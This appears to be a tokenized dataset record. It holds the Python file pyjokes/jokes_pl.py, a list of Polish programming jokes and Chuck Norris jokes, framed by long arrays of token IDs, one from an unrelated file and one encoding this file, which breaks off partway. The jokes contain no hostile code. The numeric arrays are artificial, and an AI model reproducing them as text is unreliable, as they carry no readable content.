29892,
7670,
2392,
1125,
13,
4706,
1209,
13,
13,
1678,
736,
6213,
13,
13,
13,
1753,
4386,
29918,
17492,
29918,
7451,
542,
487,
29918,
11739,
29879,
29898,
2704,
1125,
13,
1678,
3682,
353,
1059,
29889,
5327,
1839,
2392,
16215,
3399,
2033,
13,
13,
1678,
565,
3682,
1275,
525,
3170,
2525,
16515,
2451,
2396,
13,
4706,
12183,
29889,
8382,
877,
1576,
2669,
2609,
4866,
278,
2009,
29892,
1273,
29879,
29915,
1273,
1059,
29889,
5327,
29897,
13,
1678,
25342,
3682,
1275,
525,
6638,
29315,
1000,
2451,
2396,
13,
4706,
12183,
29889,
8382,
877,
2659,
338,
451,
4148,
1891,
304,
2189,
278,
3158,
29892,
1273,
29879,
29915,
1273,
1059,
29889,
5327,
29897,
13,
1678,
1683,
29901,
13,
4706,
12183,
29889,
8382,
877,
29965,
13996,
6021,
1059,
29901,
1273,
29879,
29915,
1273,
1059,
29897,
13,
13,
13,
1753,
1667,
7295,
13,
1678,
6088,
29918,
25699,
29918,
799,
368,
29918,
13322,
580,
13,
13,
1678,
4974,
29918,
4632,
580,
13,
13,
1678,
2295,
353,
1303,
29918,
2917,
580,
13,
1678,
16087,
29918,
21027,
29898,
2917,
29897,
13,
13,
1678,
18920,
29918,
333,
29892,
2224,
29892,
5766,
3149,
29892,
3987,
353,
6088,
29918,
25699,
29898,
2917,
29897,
13,
13,
1678,
12183,
29889,
3888,
877,
3259,
16328,
29879,
3987,
16328,
29879,
742,
478,
1001,
13381,
29892,
3987,
29897,
13,
13,
1678,
5534,
315,
3927,
15789,
29956,
14789,
14480,
29918,
10051,
3919,
13,
1678,
315,
3927,
15789,
29956,
14789,
14480,
29918,
10051,
3919,
353,
16087,
29918,
9274,
12344,
29918,
21027,
29898,
2917,
29892,
18920,
29918,
333,
29897,
13,
13,
1678,
1423,
29918,
348,
23765,
29918,
6768,
29898,
6768,
29897,
13,
1678,
1423,
29918,
6768,
29918,
3084,
537,
29898,
6768,
29897,
13,
13,
1678,
2069,
29918,
5205,
353,
679,
29918,
2344,
29918,
5205,
580,
13,
1678,
1423,
29918,
11618,
29918,
4882,
29898,
5847,
29918,
333,
29892,
2069,
29918,
5205,
29897,
13,
13,
1678,
270,
1983,
29918,
978,
353,
679,
29918,
29881,
1983,
29918,
978,
29898,
2917,
29892,
18920,
29918,
333,
29897,
13,
13,
1678,
565,
525,
29873,
3137,
29915,
297,
3987,
29901,
13,
4706,
5766,
29918,
29873,
3137,
29898,
2917,
29892,
2069,
29918,
5205,
29892,
270,
1983,
29918,
978,
29892,
2224,
29892,
18920,
29918,
333,
29892,
5766,
3149,
29892,
3987,
29897,
13,
1678,
1683,
29901,
13,
4706,
5766,
29918,
29876,
5847,
29898,
29881,
1983,
29918,
978,
29892,
2224,
29892,
5766,
3149,
29892,
3987,
29897,
13,
13,
13,
361,
525,
1649,
3396,
1649,
29915,
1275,
4770,
978,
1649,
29901,
13,
1678,
1667,
580,
13,
2
] |
pyjokes/jokes_pl.py | r0d0dendr0n/pyjokes | 0 | 19112 | <gh_stars>0
# -*- coding: utf-8 -*-
"""
Jokes below come from the "jokes_en.py" file.
Translation to Polish: <NAME> - provided under CC BY-SA 3.0
"""
neutral = [
"W 2030 roku Beata z ulgą usunęła Python'a 2.7 ze swoich maszyn. 'No!' westchnęła, by za chwilę przeczytać ogłoszenia na temat Python'a 4.4.",
"Zapytanie SQL wchodzi do baru, podchodzi do pierwszej osoby i pyta, 'Czy możemy utworzyć relację?'",
"Kiedy używasz C++ jak młotka, wszystko będzie Twoim kciukiem.",
"Jak posadzisz milion małp przy milionie klawiatur, któraś z nich w końcu napisze działający program w Javie. Pozostałe będą pisać w Perlu.",
"Aby zrozumieć rekurencję, musisz najpierw zrozumieć rekurencję.",
"'Puk, puk.' 'Kto tam?' ... bardzo długa pauza ... 'Java.'",
"'Puk, puk.' 'Kto tam?' 'C++.'",
"'Puk, p... Asembler.'",
"Ilu programistów potrzeba, żeby wymienić żarówkę? Żadnego, bo to problem sprzętowy.",
"Jak nazywa się obiektowa metoda bogacenia się? Dziedziczenie.",
"Dlaczego dowcipy nie działają w systemie ósemkowym? Ponieważ 7, 10, 11.",
"Ilu programistów potrzeba, aby wymienić żarówkę? Żadnego, po prostu ogłaszają ciemność standardem.",
"Dwa wątki wchodzą do baru. Barman patrzy na nie i woła, 'Hej! Nie chcemy tu hazardu!'",
"Programiści uwielbiają rozwiązywanie problemów. Jeśli akurat nie mają żadnego do rozwiązania, z pewnością jakiś stworzą.",
".NET nazywa się .NET, żeby przypadkiem nie wyświetlił się w uniksowym listingu plików.",
"Sprzęt: część komputera, którą możesz kopnąć.",
"Optymista: Szklanka do połowy pełna. Pesymista: Szklanka do połowy pusta. Programista: Rozmiar szklanki jest dwa razy większy, niż wymagany.",
"W C sami musieliśmy kodować błędy. W C++ możemy je po prostu odziedziczyć.",
"Dlaczego nie ma konkursów na najmniej czytelny kod w Perlu? Bo nikt nie umiałby wyłonić zwycięzcy.",
"Odtwarzając dysk instalacyjny Windowsa od tyłu, usłyszysz czarną mszę. Gorzej, jeśli odtworzysz ją od przodu, wtedy zainstaluje Windowsa.",
"Ilu programistów potrzeba, aby zabić karalucha? Dwóch: jeden go trzyma, a drugi instaluje na nim Windowsa.",
"Do jakiej grupy należą programiści z Finlandii? Nerdyckiej.",
"Co mówi kod w Javie do kodu w C? Brakuje Ci klasy.",
"Dlaczego Microsoft nazwał swoją wyszukiwarkę BING? Bo Indolentnie Naśladuje Google.",
"Piraci wołają 'arg!', komputerowi piraci wołają 'argv!'",
"Dziecko: Mamo, dlaczego Słońce wschodzi na wschodzie i zachodzi na zachodzie? Ojciec: jeśli działa, nie dotykaj.",
"Dlaczego programistom myli się Halloween z Bożym Narodzeniem? Ponieważ OCT 31 == DEC 25.",
"Ilu programistów Prologa potrzeba, żeby wymienić żarówkę? Fałsz.",
"Kelner: Podać kawę, lub herbatę? Programistka: Tak.",
"Programistka wchodzi do foo...",
"Jak brzmi drugie imię Benoit'a B. Mandelbrot'a? <NAME>.",
"Dlaczego zawsze się uśmiechasz? To moje regularne wyrażenie twarzy.",
"Programistka miała problem. Pomyślała sobie, 'Wiem, rozwiążę to wątkami!'. ma Teraz problemy. ona dwa",
"Opowiedziałbym dowcip o UDP, ale nie wiem, czy by do Ciebie dotarł.",
"Testerka wchodzi do baru. Wbiega do baru. Wczołguje się do baru. Tańczy wchodząc do baru. Wchodzi tip-topami do baru. Szarżuje do baru.",
"Miałem problem, więc pomyślałem, że użyję Javy. Teraz mam FabrykaProblemow.",
"Tester wchodzi do baru. Zamawia piwo. Zamawia 0 piw. Zamawia 999999999 piw. Zamawia jaszczurkę. Zamawia -1 piw. Zamawia sfdeljknesv.",
"Kierowniczka projektu wchodzi do baru, zamawia drinka. Barman odmawia, ale pomyśli nad dodaniem go później.",
"Jak wygenerować prawdziwie losowy ciąg znaków? Posadź studenta pierwszego roku przed Vim'em i powiedz, żeby zapisał plik i wyłączył edytor.",
"Od dłuższego czasu używam Vim'a. Głównie dlatego, że nadal próbuję go wyłączyć.",
"Jak poznać, że ktoś używa Vim'a? Nie przejmuj się, sam Ci powie.",
"Kelner: On się krztusi! Czy jest na sali doktor? Programista: Jestem użytkownikiem Vim'a.",
"Trójka adminów baz danych wchodzi do NoSQL'owego baru. Po krótkim czasie rozeszli się, ponieważ nie mogli utworzyć relacji.",
"Jak opisać fabułę Incepcji programiście? Uruchamiasz maszynę wirtualną w wirtualce, wewnątrz innej wirtualki... wszystko działa wolno!",
"W informatyce są tylko dwa trudne problemy: unieważnianie pamięci podręcznej, nazewnictwo i pomyłki o 1.",
"Istnieje 10 rodzajów ludzi: Ci, którzy rozumieją kod binarny oraz Ci, którzy go nie rozumieją.",
"Istnieją 2 rodzaje ludzi: Ci, którzy potrafią ekstrapolować niekompletne zbiory danych...",
"Istnieją II rodzaje ludzi: Ci, którzy rozumieją liczby rzymskie i Ci, którzy ich nie rozumieją.",
"Istnieje 10 typów ludzi: Ci, którzy rozumieją system szesnastkowy oraz 15 pozostałych.",
"Istnieje 10 rodzajów ludzi: Ci, którzy rozumieją kod binarny, Ci którzy go nie rozumieją oraz Ci, co wiedzieli, że to o systemie trójkowym.",
"Istnieje 10 rodzajów ludzi: Ci, którzy rozumieją kod trójkowy, Ci, którzy go nie rozumieją oraz Ci, którzy nigdy o nim nie słyszeli.",
"Jak nazywa się ósemka hobbitów? Hobbajt.",
"Najlepsze w wartościach logicznych jest to, że nawet jeśli się pomylisz, to tylko o 1.",
"Dobry programista zawsze patrzy w obie strony przed przejściem przez ulicę jednokierunkową.",
"Są dwa sposoby pisania programów bez błędów. Tylko ten trzeci działa.",
"Zarządzanie jakością składa się w 55% z wody, 30% krwi i 15% ticketów z bugtrackera",
"Sympatyzowanie z Diabłem to tak naprawdę bycie uprzejmym dla Testerów.",
"Ilu Testerów potrzeba do zmiany żarówki? Oni zauważyli, że pokój jest ciemny. Nie rozwiązują problemów, tylko ich szukają.",
"Programista rozbił auto zjeżdżając z góry. Przechodzień spytał co się stało. \"Nie wiem. Wnieśmy go na górę i spróbujmy ponownie.\".",
"Pisanie w PHP jest jak sikanie do basenu. Wszyscy to robili, ale niekoniecznie trzeba się tym chwalić publicznie.",
"Dlaczego Tester przeszedł przez ulicę? Żeby zepsuć dzień wszystkim innym.",
"Ilość dni od ostatniego błędu indeksowania tablicy: -1.",
"Ilość dni od ostatniej pomyłki o 1: 0.",
"Szybkie randki są bez sensu. 5 minut to zbyt mało czasu, aby prawidłowo wyjaśnić filozofię Unix'a.",
"Microsoft co dwa miesiące organizuje \"tydzień produktywności\", podczas którego używają Google zamiast Bing'a",
"Podejście Schroedinger'a do budowy stron www: Jeśli nie oglądasz tego w Internet Explorerze, jest szansa, że będzie wyglądało dobrze.",
"Szukanie dobrego programisty PHP jest jak szukanie igły w stogu siana. Czy raczej stogu siana w igle?",
"Unix jest bardzo przyjazny użytkownikom. Po prostu jest również bardzo wybredny przy wyborze przyjaciół.",
"Programistka COBOL'a zarabia miliony naprawiając problem roku 2000. Decyduje się zamrozić siebie. \"Mamy rok 9999. Znasz COBOL'a, prawda?\"",
"<NAME> łączy w sobie potęgę asemblera z prostotą użycia asemblera.",
"Ekspert SEO wchodzi do baru, bar, pub, miesce spotkań, browar, Irlandzki pub, tawerna, barman, piwo, gorzała, wino, alkohol, spirytus...",
"Co mają wspólnego pyjokes oraz Adobe Flash? Wciąż otrzymują aktualizacje, ale nigdy nie stają się lepsze.",
"Dlaczego Waldo nosi tylko paski? Bo nie chce się znaleźć w kropce.",
"Szedłem raz ulicą, przy której domy były ponumerowane 8k, 16k, 32k, 64k, 128k, 256k i 512k. To była podróż <NAME>.",
"!false, (To zabawne, bo to prawda)",
]
"""
Jokes below come from the "jokes_en.py" file.
Translation to Polish: <NAME> - provided under CC BY-SA 3.0
"""
chuck = [
"Kiedy <NAME> rzuca wyjątek, to leci on przez cały pokój.",
"Wszystkie tablice, które deklaruje <NAME> są nieskończonego rozmiaru, ponieważ <NAME> nie zna granic.",
"<NAME> nie ma opóźnień w dysku twardym, ponieważ dysk twardy wie, że musi się spieszyć, żeby nie wkurzyć <NAME>.",
"<NAME> pisze kod, który sam się optymalizuje.",
"<NAME> nie porównuje, ponieważ nie ma sobie równych.",
"<NAME> nie potrzebuje garbage collector'a, ponieważ nie wywołuje .Dispose(), tylko .DropKick().",
"Pierwszym programem <NAME> było kill -9.",
"<NAME> przebił bańkę dot com'ów.",
"Wszystkie przeglądarki wspierają kolory #chuck oraz #norris, oznaczające czarny i niebieski.",
"MySpace tak naprawdę nie jest Twój, tylko Chuck'a. Po prostu pozwala Ci go używać.",
"<NAME> może pisać funkcje rekurencyjne bez warunku stopu, które zawsze wracają.",
"<NAME> może rozwiązać wież<NAME> w jednym ruchu.",
"<NAME> zna tylko jeden wzorzec projektowy: Boski obiekt.",
"<NAME> ukończył World of Warcraft.",
"Kierownicy projektu nigdy nie pytają <NAME> o oszacowania.",
"<NAME> nie dostosowuje się do standardów webowych, ponieważ to one dostosowują się do niego.",
"'U mnie to działa' jest zawsze prawdą w przypadku <NAME>.",
"<NAME> nie używa diagramów wyżarzania, tylko uderzania.",
"<NAME> może usunąć Kosz.",
"<NAME> może pisać 140 słów na minutę.",
"<NAME> może przetestować całą aplikację jedną asercją: 'działa'.",
"<NAME> nie szuka błędów, ponieważ to sugeruje, że może ich nie znaleźć. On likwiduje błędy.",
"Klawiatura <NAME>'a nie ma klawisza Ctrl, ponieważ nic nie kontroluje <NAME>.",
"<NAME> może przepełnić Twój stos samym spojrzeniem.",
"Dla <NAME> wszystko zawiera podatności.",
"<NAME> nie używa sudo. Powłoka wie, że to on i po prostu robi co jej każe.",
"<NAME> nie używa debuggera. Patrzy na kod tak długo, aż sam wyzna błędy.",
"<NAME> ma dostęp do prywatnych metod.",
"<NAME> może utworzyć obiekt klasy abstrakcyjnej.",
"<NAME> nie potrzebuje fabryki klas. On instancjonuje interfejsy.",
"Klasa Object dziedziczy po Ch<NAME>.",
"Dla <NAME> problemy NP-trudne mają złożoność O(1).",
"<NAME> zna ostatnią cyfrę rozwinięcia dziesiętnego Pi.",
"Łącze internetowe <NAME> szybciej wysyła, niż pobiera, ponieważ nawet dane się go boją.",
"<NAME> rozwiązał problem komiwojażera w czasie stałym: rozbij komiwojażera na N kawałków, po czym wykop każdy do innego miasta.",
"Żadne wyrażenie nie może obsłużyć ChuckNorrisException.",
"<NAME> nie programuje w parach. Pracuje sam.",
"<NAME> potrafi pisać aplikacje wielowątkowe przy użyciu jednego wątku.",
"<NAME> nie musi używać AJAX'a, ponieważ strony i tak są przerażone jego zwykłymi żądaniami.",
"<NAME> nie używa refleksji. To refleksje uprzejmie proszą go o pomoc.",
"Klawiatura <NAME> nie ma klawisza Escape, ponieważ nikt nie ucieknie przed Chuckiem Norrisem.",
"<NAME> może użyć wyszukiwania binarnego na nieposortowanym kontenerze.",
"<NAME> nie musi łapać wyjątków. Są zbyt przerażone, by się pokazać.",
"<NAME> wyszedł z nieskończonej pętli.",
"Jeśli <NAME> napisze kod z błędami, to one same się poprawią.",
"Hosting Chucka Norrisa ma SLA na poziomie 101%.",
"Klawiatura <NAME> ma klawisz 'Dowolny'.",
"<NAME> może dostać się do bazy danych bezpośrednio przez interfejs użytkownika.",
"Programy <NAME> się nie kończą, tylko giną.",
"<NAME> nalega na używanie języków silnie typowanych.",
"<NAME> projektuje protokoły bez statusów, żądań, czy odpowiedzi. Definiuje tylko polecenia.",
"Programy <NAME> zajmują 150% procesora, nawet gdy nie są uruchomione.",
"<NAME> uruchamia wątki, które kończą swoje zadanie, zanim się poprawnie uruchomią.",
"Programy <NAME> nie akceptują wejścia.",
"<NAME> może zainstalować iTunes bez QuickTime'a.",
"Ch<NAME> nie potrzebuje systemu operacyjnego.",
"Model OSI <NAME> ma tylko jedną warstwę - fizyczną.",
"<NAME> może poprawnie kompilować kod z błędami składniowymi.",
"Każde zapytanie SQL <NAME> zawiera implikowany 'COMMIT'.",
"<NAME> nie potrzebuje rzutowania. Kompilator <NAME> (KCN) dostrzega wszystko. Do samego końca. Zawsze.",
"<NAME> nie wykonuje kodu w cyklach, tylko w uderzeniach.",
"<NAME> kompresuje pliki przez kopnięcie dysku twardego z półobrotu.",
"<NAME> rozwiązał problem stopu.",
"Dla <NAME> P = NP. Jego decyzje są zawsze deterministyczne.",
"<NAME> może pobrać wszystko z /dev/null.",
"Nikomu nie udało się programować z Chuckiem Norrisem i wyjść z tego żywym.",
"Nikomu nie udało się odezwać podczas przeglądu kodu <NAME> i wyjść z tego żywym.",
"<NAME> nie używa interfejsów graficznych. On rozkazuje z wiersza poleceń.",
"<NAME> nie używa Oracle'a. On JEST Wyrocznią.",
"<NAME> może dokonać dereferencji NULL'a.",
"Lista różnic pomiędzy Twoim kodem oraz kodem <NAME> jest nieskończona.",
"<NAME> napisał wtyczkę do Eclipsa, która dokonała pierwszego kontaktu z obcą cywilizacją.",
"<NAME> jest ostatecznym semaforem. Wszystkie wątki się go boją.",
"Nie przejmuj się testami. Przypadki testowe <NAME> pokrywają również Twój kod.",
"Każdy włos z brody <NAME> ma swój wkład w największy na świecie atak DDOS.",
"Komunikaty w loggerze <NAME> zawsze mają poziom FATAL.",
"Jeśli <NAME> zepsuje build'a, nie uda Ci się go naprawić, ponieważ nie została ani jedna linijka kodu.",
"<NAME> pisze jednym palcem. Wskazuje nim na klawiaturę, a ona robi resztę roboty.",
"Programy <NAME> przechodzą test Turinga po prostu patrząc się na sędziego.",
"Jeśli spróbujesz zabić program <NAME>, to on zabije Ciebie.",
"<NAME> wykonuje nieskończone pętle w mniej niż 4 sekundy.",
"<NAME> może nadpisać zmienną zablokowaną semaforem.",
"<NAME> zna wartość NULL. Może też po niej sortować.",
"<NAME> może zainstalować 64-bitowy system operacyjny na 32-bitowych maszynach.",
"<NAME> może pisać do strumieni wyjściowych.",
"<NAME> może czytać ze strumieni wejściowych.",
"<NAME> nie musi kompilować swojego kodu. Maszyny nauczyły się interpretować kod <NAME>.",
"<NAME> jest powodem Niebieskiego Ekranu Śmierci.",
"<NAME> może utworzyć klasę, które jest jednocześnie abstrakcyjna i finalna.",
"<NAME> może użyć czegokolwiek z java.util.*, żeby Cię zabić. Nawet javadocs'ów.",
"Kod działa szybciej, gdy obserwuje go <NAME>.",
"Wszyscy lubią profil <NAME> na Facebook'u, czy im się to podoba, czy nie.",
"Nie możesz śledzić <NAME> na Twitterze, ponieważ to on śledzi Ciebie.",
"Kalkulator <NAME> ma tylko 3 klawisze: 0, 1 i NAND.",
"<NAME> używa tylko zmiennych globalnych. Nie ma nic do ukrycia.",
"<NAME> raz zaimplementował cały serwer HTTP, używając tylko jednego printf'a. Projekt wciąż się rozwija i jest znany pod nazwą Apache.",
"<NAME> pisze bezpośrednio w kodzie binarnym. Potem pisze kod źródłowy, jako dokumentację dla innych programistów.",
"<NAME> raz przesunął bit tak mocno, że wylądował w innym komputerze.",
"Jak nazywa się ulubiony framework <NAME>? Knockout.js.",
]
jokes_pl = {
'neutral': neutral,
'chuck': chuck,
'all': neutral + chuck,
}
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
15945,
29908,
13,
29967,
23195,
2400,
2041,
515,
278,
376,
29926,
23195,
29918,
264,
29889,
2272,
29908,
934,
29889,
13,
4300,
18411,
304,
19919,
29901,
529,
5813,
29958,
448,
4944,
1090,
19178,
6770,
29899,
8132,
29871,
29941,
29889,
29900,
13,
15945,
29908,
13,
13,
17821,
1705,
353,
518,
13,
1678,
376,
29956,
29871,
29906,
29900,
29941,
29900,
4042,
1522,
532,
503,
9238,
29887,
30025,
502,
348,
30023,
4065,
5132,
29915,
29874,
29871,
29906,
29889,
29955,
3777,
16768,
436,
5516,
29920,
948,
29889,
525,
3782,
20714,
5833,
3049,
30023,
4065,
29892,
491,
4022,
521,
29893,
309,
30023,
5629,
687,
1537,
941,
30063,
3671,
30006,
359,
13795,
1055,
1350,
271,
5132,
29915,
29874,
29871,
29946,
29889,
29946,
19602,
13,
1678,
376,
29999,
481,
3637,
6067,
3758,
281,
13884,
2526,
437,
2594,
29884,
29892,
2532,
13884,
2526,
437,
18143,
11349,
288,
578,
1609,
474,
11451,
941,
29892,
525,
29907,
1537,
27941,
6764,
28085,
1537,
30063,
14552,
10274,
17901,
613,
13,
1678,
376,
29968,
1000,
29891,
318,
30042,
5693,
12617,
315,
1817,
12979,
286,
30006,
327,
1335,
29892,
27980,
2901,
289,
11392,
3914,
7803,
326,
413,
26906,
18153,
19602,
13,
1678,
376,
29967,
557,
926,
328,
29920,
16399,
2316,
291,
611,
30006,
29886,
8321,
2316,
291,
347,
413,
433,
4353,
1337,
29892,
6738,
336,
30045,
503,
25090,
281,
5812,
30066,
4979,
9709,
275,
911,
18728,
8480,
1270,
1824,
281,
435,
485,
347,
29889,
18048,
6442,
29872,
289,
11392,
30025,
282,
8069,
30063,
281,
2431,
6092,
19602,
13,
1678,
376,
29909,
1609,
503,
16997,
398,
347,
30063,
337,
23843,
3977,
10274,
29892,
2301,
16399,
8823,
29886,
631,
29893,
503,
16997,
398,
347,
30063,
337,
23843,
3977,
10274,
19602,
13,
1678,
13577,
29925,
2679,
29892,
2653,
29895,
6169,
525,
29968,
517,
21308,
17901,
2023,
289,
538,
2502,
270,
11800,
29874,
24571,
1362,
2023,
525,
8404,
6169,
613,
13,
1678,
13577,
29925,
2679,
29892,
2653,
29895,
6169,
525,
29968,
517,
21308,
17901,
525,
29907,
1817,
6169,
613,
13,
1678,
13577,
29925,
2679,
29892,
282,
856,
1094,
1590,
1358,
6169,
613,
13,
1678,
376,
29902,
6092,
1824,
391,
2165,
3104,
11987,
774,
29874,
29892,
13918,
774,
29891,
281,
962,
819,
13643,
13918,
279,
2165,
26115,
29973,
14589,
328,
10313,
29892,
1045,
304,
1108,
7689,
28764,
29873,
8268,
19602,
13,
1678,
376,
29967,
557,
7782,
29891,
2766,
3701,
704,
347,
1193,
5604,
1539,
8887,
26652,
562,
15748,
3701,
29973,
360,
29920,
16426,
293,
18638,
19602,
13,
1678,
376,
29928,
433,
2067,
2412,
16611,
455,
2272,
4930,
18728,
8480,
281,
1788,
347,
29871,
7173,
331,
7000,
962,
29973,
26317,
646,
29874,
30042,
29871,
29955,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29896,
19602,
13,
1678,
376,
29902,
6092,
1824,
391,
2165,
3104,
11987,
774,
29874,
29892,
24475,
281,
962,
819,
13643,
13918,
279,
2165,
26115,
29973,
14589,
328,
10313,
29892,
772,
16810,
29884,
3671,
30006,
12617,
8480,
274,
3768,
17917,
2317,
279,
2310,
19602,
13,
1678,
376,
29928,
2766,
281,
30025,
29873,
1984,
281,
13884,
6429,
437,
2594,
29884,
29889,
2261,
1171,
22191,
1537,
1055,
4930,
474,
8879,
4065,
29892,
525,
3868,
29926,
29991,
19166,
521,
29883,
6764,
5291,
447,
29920,
538,
29884,
20714,
613,
13,
1678,
376,
9283,
29875,
4255,
318,
29893,
709,
15959,
4739,
5671,
4353,
30025,
1537,
29893,
6067,
1108,
2165,
29889,
2581,
30045,
492,
11208,
332,
271,
4930,
611,
4739,
13918,
328,
10313,
437,
5671,
19652,
4807,
29892,
503,
282,
809,
11997,
30025,
432,
9940,
30045,
380,
13762,
6429,
19602,
13,
1678,
11393,
6006,
7782,
29891,
2766,
3701,
869,
6006,
29892,
13918,
774,
29891,
5629,
1478,
328,
18153,
4930,
5018,
30045,
29893,
2035,
492,
30006,
3701,
281,
443,
29292,
15105,
1051,
6202,
282,
5081,
2165,
19602,
13,
1678,
376,
29903,
558,
28764,
29873,
29901,
14291,
6598,
4677,
649,
1572,
29892,
413,
29873,
4916,
30025,
27941,
16137,
25334,
12486,
30063,
19602,
13,
1678,
376,
20624,
962,
2079,
29901,
5207,
6321,
18330,
437,
20963,
8268,
1236,
30006,
1056,
29889,
349,
267,
962,
2079,
29901,
5207,
6321,
18330,
437,
20963,
8268,
282,
29664,
29889,
7835,
2079,
29901,
1528,
29920,
2460,
279,
2268,
6321,
804,
29875,
6771,
270,
2766,
1153,
1537,
20677,
2039,
1537,
29892,
6836,
30042,
281,
962,
351,
1384,
19602,
13,
1678,
376,
29956,
315,
3514,
29875,
2301,
709,
29875,
30045,
1357,
413,
397,
28894,
289,
30006,
30023,
4518,
29889,
399,
315,
1817,
27941,
6764,
1444,
772,
16810,
29884,
2413,
29920,
16426,
293,
1537,
30063,
19602,
13,
1678,
376,
29928,
433,
2067,
2412,
4930,
611,
4139,
29895,
1295,
2165,
1055,
8823,
29885,
12532,
25777,
28497,
1460,
413,
397,
281,
2431,
6092,
29973,
1952,
302,
10391,
4930,
1922,
5979,
1609,
5018,
30006,
5271,
30063,
5263,
20318,
30023,
29920,
1270,
19602,
13,
1678,
376,
29949,
6008,
4495,
29920,
20904,
13475,
808,
20226,
21469,
1460,
3852,
29874,
2413,
7911,
11641,
29892,
502,
30006,
18369,
18369,
5316,
2753,
30025,
286,
3616,
30023,
29889,
18686,
11349,
29892,
1444,
30045,
492,
2413,
7516,
272,
29920,
18369,
432,
30025,
2413,
5629,
20192,
29892,
281,
29873,
7584,
503,
475,
11195,
7994,
3852,
29874,
19602,
13,
1678,
376,
29902,
6092,
1824,
391,
2165,
3104,
11987,
774,
29874,
29892,
24475,
22249,
13643,
10856,
284,
26609,
29973,
360,
29893,
29980,
305,
29901,
22936,
748,
534,
27425,
29892,
263,
5883,
3146,
20226,
7994,
1055,
21930,
3852,
29874,
19602,
13,
1678,
376,
6132,
12979,
8586,
4500,
2272,
26948,
30025,
1824,
29875,
4255,
503,
18312,
2236,
29973,
405,
2018,
29891,
384,
8586,
19602,
13,
1678,
376,
7967,
286,
2165,
29875,
413,
397,
281,
435,
485,
347,
437,
413,
20192,
281,
315,
29973,
5032,
2120,
1324,
11402,
18559,
29891,
19602,
13,
1678,
376,
29928,
433,
2067,
2412,
7783,
28092,
2275,
16768,
4739,
19789,
6951,
1984,
29893,
935,
30023,
350,
4214,
29973,
1952,
1894,
324,
296,
2786,
4465,
30045,
4528,
7994,
5087,
19602,
13,
1678,
376,
29925,
3055,
455,
8879,
30006,
8480,
525,
1191,
29991,
742,
4677,
649,
261,
13447,
2930,
336,
455,
8879,
30006,
8480,
525,
19218,
20714,
613,
13,
1678,
376,
29928,
3914,
27604,
29901,
341,
10178,
29892,
13502,
2067,
2412,
317,
5600,
30066,
346,
281,
816,
397,
2526,
1055,
281,
816,
397,
3914,
474,
19034,
397,
2526,
1055,
19034,
397,
3914,
29973,
438,
29926,
5295,
29883,
29901,
1444,
30045,
492,
9275,
23398,
29892,
4930,
8329,
12072,
1175,
19602,
13,
1678,
376,
29928,
433,
2067,
2412,
1824,
391,
290,
590,
492,
3701,
6573,
4657,
264,
503,
1952,
30042,
962,
24322,
2256,
3768,
29973,
26317,
646,
29874,
30042,
438,
1783,
29871,
29941,
29896,
1275,
5012,
29907,
29871,
29906,
29945,
19602,
13,
1678,
376,
29902,
6092,
1824,
391,
2165,
1019,
1188,
29874,
3104,
11987,
774,
29874,
29892,
13918,
774,
29891,
281,
962,
819,
13643,
13918,
279,
2165,
26115,
29973,
383,
2275,
3616,
19602,
13,
1678,
376,
29968,
295,
1089,
29901,
8594,
29874,
30063,
413,
1450,
30023,
29892,
14757,
902,
10222,
30023,
29973,
7835,
391,
1335,
29901,
14619,
19602,
13,
1678,
376,
9283,
391,
1335,
281,
13884,
2526,
437,
7953,
856,
613,
13,
1678,
376,
29967,
557,
1506,
29920,
2460,
5883,
12053,
527,
9497,
4111,
20252,
29915,
29874,
350,
29889,
15419,
295,
29890,
5450,
29915,
29874,
29973,
529,
5813,
15513,
613,
13,
1678,
376,
29928,
433,
2067,
2412,
503,
10467,
911,
3701,
318,
30045,
29885,
22149,
12617,
29973,
1763,
2730,
1324,
4943,
484,
5018,
336,
30042,
16520,
3252,
279,
1537,
19602,
13,
1678,
376,
9283,
391,
1335,
286,
23398,
1108,
29889,
14351,
29891,
30045,
433,
4065,
577,
10993,
29892,
525,
29956,
3768,
29892,
5671,
4353,
19151,
30023,
304,
281,
30025,
11178,
4479,
29991,
4286,
611,
5061,
834,
1108,
29891,
29889,
373,
29874,
270,
2766,
613,
13,
1678,
376,
11746,
340,
16426,
5979,
29890,
962,
16611,
7334,
288,
501,
11191,
29892,
8080,
4930,
281,
3768,
29892,
25777,
491,
437,
315,
10789,
347,
8329,
279,
30006,
19602,
13,
1678,
376,
3057,
261,
1335,
281,
13884,
2526,
437,
2594,
29884,
29889,
399,
10993,
3249,
437,
2594,
29884,
29889,
399,
2067,
27311,
2543,
1324,
3701,
437,
2594,
29884,
29889,
10523,
23135,
281,
13884,
6429,
29883,
437,
2594,
29884,
29889,
399,
13884,
2526,
6872,
29899,
3332,
4479,
437,
2594,
29884,
29889,
5207,
279,
30042,
7994,
437,
2594,
29884,
19602,
13,
1678,
376,
29924,
5979,
331,
1108,
29892,
20677,
29883,
8280,
29891,
30045,
433,
30006,
331,
29892,
13527,
318,
7558,
10274,
435,
5301,
29889,
5061,
834,
286,
314,
10629,
719,
1335,
26604,
340,
19602,
13,
1678,
376,
3057,
261,
281,
13884,
2526,
437,
2594,
29884,
29889,
29225,
1450,
423,
2930,
827,
29889,
29225,
1450,
423,
29871,
29900,
2930,
29893,
29889,
29225,
1450,
423,
29871,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
2930,
29893,
29889,
29225,
1450,
423,
432,
12617,
2067,
332,
26115,
29889,
29225,
1450,
423,
448,
29896,
2930,
29893,
29889,
29225,
1450,
423,
18668,
6144,
29926,
3959,
267,
29894,
19602,
13,
1678,
376,
29968,
631,
776,
5175,
1335,
27213,
29884,
281,
13884,
2526,
437,
2594,
29884,
29892,
14583,
1450,
423,
13748,
29874,
29889,
2261,
1171,
2413,
655,
29893,
423,
29892,
8080,
8280,
29891,
30045,
492,
8642,
21130,
3270,
331,
748,
29728,
19602,
13,
1678,
376,
29967,
557,
5018,
4738,
28894,
20467,
29881,
2526,
7804,
1232,
8268,
4583,
26723,
503,
8546,
2165,
29973,
10321,
328,
30109,
1921,
6381,
26657,
3616,
2412,
4042,
13952,
478,
326,
29915,
331,
474,
4764,
16426,
29892,
13918,
774,
29891,
503,
11355,
2275,
282,
5081,
474,
5018,
14300,
6902,
30006,
1226,
3637,
272,
19602,
13,
1678,
376,
29949,
29881,
270,
22952,
3616,
2412,
15062,
29884,
318,
30042,
5693,
314,
478,
326,
29915,
29874,
29889,
402,
30006,
10973,
347,
270,
29880,
1845,
29877,
29892,
13527,
